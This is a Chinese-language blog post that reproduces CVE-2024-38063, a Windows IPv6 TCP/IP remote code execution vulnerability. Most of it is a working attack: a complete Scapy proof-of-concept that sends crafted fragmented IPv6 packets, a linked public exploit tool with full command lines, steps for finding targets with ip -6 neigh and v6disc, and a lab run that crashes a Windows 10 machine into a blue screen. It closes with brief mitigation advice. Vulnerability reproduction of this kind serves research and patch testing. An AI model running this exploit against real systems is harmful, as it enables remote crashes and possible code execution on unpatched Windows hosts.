Windows-IPV6_RCE(CVE-2024-38063)漏洞复现
本文最后更新于 2024-09-28,文章内容可能已经过时。
Windows-IPV6_RCE(CVE-2024-38063)漏洞复现
一、漏洞情况分析
微软Windows系统近日曝出一个极其严重的安全漏洞,该漏洞被评为9.8分的高危等级,对全球数亿用户的电脑构成了巨大威胁。据国内知名安全公司赛博昆仑旗下的昆仑实验室披露,**该漏洞(编号CVE-2024-38063)存在于Windows的TCP/IP网络堆栈中,允许攻击者通过发送特制的IPv6数据包实现远程代码执行。**安全研究员Wei强调,鉴于漏洞的严重性,短期内不会公开具体细节,以防止恶意利用,同时指出仅在本地防火墙上阻止IPv6并不能完全防御此漏洞,因为攻击会在防火墙处理之前触发。
CVE-2024-38063是影响WindowsTCP/IP的严重RCE漏洞。它的CVSSv3评分为9.8,被评为“更有可能被利用”。攻击者可以通过向主机发送特制的IPv6数据包来远程利用此漏洞。微软的缓解建议为禁用IPv6,因为只有IPv6数据包才可以被滥用来利用此漏洞。微软已经为所有受支持的Windows和WindowsServer版本(包括ServerCore安装)发布了补丁。未经身份验证的攻击者可以向Windows计算机反复发送包含特制数据包的IPv6数据包,从而可以实现远程代码执行。
- 参考:https ://www.malwaretech.com/2024/08/exploiting-CVE-2024-38063.html
二、漏洞影响范围
漏洞影响的产品和版本:
- Windows 10
- Windows 11
- Windows Server 2016、2019 和 2022(包括服务器核心安装)
三、漏洞复现流程
有关漏洞原理的分析和代码调试请看如下文章:
https://blog.csdn.net/QYbudong/article/details/141905176
这里只做简单的漏洞复现不涉及原理部分和代码调试。
POC脚本:
python需要提前安装scapy
(根据需要填写iface和ip_addr的ipv6地址即可,mac_addr可以选填)
from scapy.all import *
iface=''
ip_addr=''
mac_addr=''
num_tries=20
num_batches=20
def get_packets_with_mac(i):
frag_id = 0xdebac1e + i
first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
return [first, second, third]
def get_packets(i):
if mac_addr != '':
return get_packets_with_mac(i)
frag_id = 0xdebac1e + i
first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
return [first, second, third]
final_ps = []
for _ in range(num_batches):
for i in range(num_tries):
final_ps += get_packets(i) + get_packets(i)
print("Sending packets")
if mac_addr != '':
sendp(final_ps, iface)
else:
send(final_ps, iface)
for i in range(60):
print(f"Memory corruption will be triggered in {60-i} seconds", end='\r')
time.sleep(1)
print("")
利用工具:
https://github.com/ThemeHackers/CVE-2024-38063.git
-h–帮助显示这帮助信息和退出
–ace ACE网络接口(s)用于发送的报文,逗号分割为多个。
–ipv6IPV6目的IP地址(可选择)。
–mac_addr MAC_ADDR目的MAC地址(可选择)。
–num_tries NUM_TRIES
数尝试的每一批。
–num_batches NUM_BATCHES
数量的批次的尝试
复现环境:
kali攻击机:(IP:192.168.91.129)
目标机器:win10 (IP:192.168.91.134)IPV6地址: fe80::ac13:276c:e4c2:459a%14
MAC地址 :00:0C:29:66:04:76
IPV6发现
linux自带的IPV6缓存记录命令:ip -6 neigh
(利用 Linux 的邻居发现缓存,快速查看所有已知的 IPv6 地址)
ipv6发现脚本:(上面的脚本自带)
git clone https://github.com/cvmiller/v6disc
./v6disc.sh -i eth1 -L -D
指定eth1网卡,将ipv6和对应的ipv4显示出来
./v6disc.sh -i eth1 -L -D -N
指定eth1网卡,将ipv6和对应的ipv4显示出来,同时附带NMAP扫描
IPV6地址: fe80::ac13:276c:e4c2:459a%14
MAC地址 :00:0C:29:66:04:76
漏洞利用
利用POC代码执行:
源代码填上对应信息,后执行poc代码。
等待下方倒计时结束,查看目标机器,成功蓝屏
利用漏洞利用工具:
python CVE-2024-38063.py --iface eth0 --ipv6 fe80::ac13:276c:e4c2:459a%14 --mac_addr 00:0C:29:66:04:76 --num_tries 20 --num_batches 20
可以指定ICMP和SYN泛洪攻击,这里选1,填写3次,发送报文后,按y发送蓝屏报文
等待倒计时结束,目标机器成功蓝屏
其他:
这里也可以不加后面的ipv6和mac地址,只填写对应的网卡,让工具去调用v6dishc.sh脚本扫描局域网内的ipv6地址。
python CVE-2024-38063.py --iface eth0
分为高级扫描(调用nmap)和低级扫描(普通扫描)
这里依次填入目标IPV6和MAC地址后,就可以进行利用了。后续流程一样。
四、修复建议
- 临时关闭ipv6
右键自己的网络配置,直接把这个ipv6给关掉即可,后面在调用终端,执行【ipconfig】即可看到ipv6消失
- 将windows更新到最新版本
五、参考
微软官方通告:https://msrc.microsoft.com/update-guide/zh-cn/vulnerability/CVE-2024-38063
【漏洞剖析】CVE-2024-38063(Windows IPV6 远程执行代码漏洞):https://blog.csdn.net/QYbudong/article/details/141905176
- 感谢你赐予我前进的力量